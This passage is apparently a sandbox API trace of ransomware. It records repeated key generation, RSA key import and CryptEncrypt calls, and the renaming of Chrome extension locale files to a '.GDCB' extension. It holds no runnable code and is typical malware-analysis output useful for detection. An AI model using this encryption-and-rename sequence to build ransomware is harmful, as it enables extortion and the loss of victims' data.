pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.898] CryptEncrypt (in: hKey=0x6799ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.898] GetLastError () returned 0x0 [0271.898] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.898] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.899] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.902] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.904] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc5, lpOverlapped=0x0) returned 1 [0271.912] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.918] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sk\\messages.json.gdcb")) returned 1 [0271.923] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0271.926] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.928] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.928] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.928] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.928] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0271.930] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.932] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.932] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.932] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.932] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.934] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67999e0) returned 1 [0271.935] CryptGetKeyParam (in: hKey=0x67999e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.935] CryptEncrypt (in: hKey=0x67999e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.935] GetLastError () returned 0x0 [0271.935] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.935] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.937] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799ea0) returned 1 [0271.937] CryptGetKeyParam (in: hKey=0x6799ea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.937] CryptEncrypt (in: hKey=0x6799ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.937] GetLastError () returned 0x0 [0271.937] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.937] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.938] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.941] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.943] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xbe, lpOverlapped=0x0) returned 1 [0271.951] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.958] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json.gdcb")) returned 1 [0271.963] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.965] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.967] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.967] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.967] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.968] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.970] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.972] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.972] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.972] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.972] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.974] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799d20) returned 1 [0271.974] CryptGetKeyParam (in: hKey=0x6799d20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.974] CryptEncrypt (in: hKey=0x6799d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.975] GetLastError () returned 0x0 [0271.975] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.975] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.976] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799ee0) returned 1 [0271.976] CryptGetKeyParam (in: hKey=0x6799ee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.976] CryptEncrypt (in: hKey=0x6799ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.977] GetLastError () returned 0x0 [0271.977] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.977] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.978] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.980] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.982] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x104, lpOverlapped=0x0) returned 1 [0271.991] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.997] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json.gdcb")) returned 1 [0272.003] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0272.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.008] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.008] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.008] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.008] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.011] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.012] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.012] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.013] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0272.015] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799f20) returned 1 [0272.015] CryptGetKeyParam (in: hKey=0x6799f20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.015] CryptEncrypt (in: hKey=0x6799f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.015] GetLastError () returned 0x0 [0272.015] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.015] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0272.017] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799be0) returned 1 [0272.017] CryptGetKeyParam (in: hKey=0x6799be0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.017] CryptEncrypt (in: hKey=0x6799be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.017] GetLastError () returned 0x0 [0272.018] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.018] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.019] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.021] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.023] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0272.032] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.038] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json.gdcb")) returned 1 [0272.044] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0272.047] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.050] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.050] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.050] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.050] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0272.053] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.055] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.055] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.055] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.055] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.057] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67999a0) returned 1 [0272.057] CryptGetKeyParam (in: hKey=0x67999a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.057] CryptEncrypt (in: hKey=0x67999a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.057] GetLastError () returned 0x0 [0272.057] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.057] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0272.059] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799d60) returned 1 [0272.059] CryptGetKeyParam (in: hKey=0x6799d60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.059] CryptEncrypt (in: hKey=0x6799d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.059] GetLastError () returned 0x0 [0272.059] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.059] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.061] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.065] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.067] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc4, lpOverlapped=0x0) returned 1 [0272.075] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.083] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json.gdcb")) returned 1 [0272.088] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0272.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.093] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.093] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.093] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.093] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0272.096] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.098] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.098] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.098] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.098] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.100] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799fe0) returned 1 [0272.100] CryptGetKeyParam (in: hKey=0x6799fe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.100] CryptEncrypt (in: hKey=0x6799fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.100] GetLastError () returned 0x0 [0272.100] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.100] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0272.102] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, 